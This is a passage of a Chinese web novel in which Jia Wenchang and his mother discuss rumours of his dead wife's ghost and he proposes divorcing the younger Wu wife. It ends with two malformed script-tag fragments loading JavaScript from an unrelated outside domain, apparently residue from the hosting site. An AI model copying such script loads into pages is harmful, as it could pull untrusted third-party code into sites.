贾文昌被人抬着坐在一旁的椅子上,脸色阴沉。最近也许事事不顺的关系,他不知怎么格外想念死去的亡妻。
昨夜又做了个关于亡妻的梦。
今早突然诗情翻涌,想为她写一首词,然而刚想两句便又有恼人的事来打断。
半晌,他声音低沉地道:
“母亲,坊间谈论的关于琼玉鬼魂之事,你怎么看?”
“什么?”
贾老太太哭声一顿,过了半晌才从牙缝里挤出几个字:
“鬼魂之事......不可不信,也不可全信。”
其实这事换作以前,她一定不信。
毕竟贾家列祖列宗那么多,哪里就能眼睁睁看着一个小妇人的亡魂乱作。但眼下贾家这一桩桩一件件,由不得她不往这边去想。
“那母亲的意思是?”
“我意思是,”
贾老太太道:
“花重金请大师进府,给大吴氏作场法事以平息她的怨气,若还不行,那就......”
话未说完,但她眼里已然闪出一丝狠意。
什么儿媳妇不儿媳妇、功臣不功臣的,敢威胁她贾家儿孙的性命钱途,她会让大吴氏魂飞魄散。
贾文昌看到母亲的神色,心下一惊。
想到昨晚的梦境和早上没写完的那首酸诗,沉吟半响,突然道:
“母亲,不然,我们把小吴氏休了吧。”
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">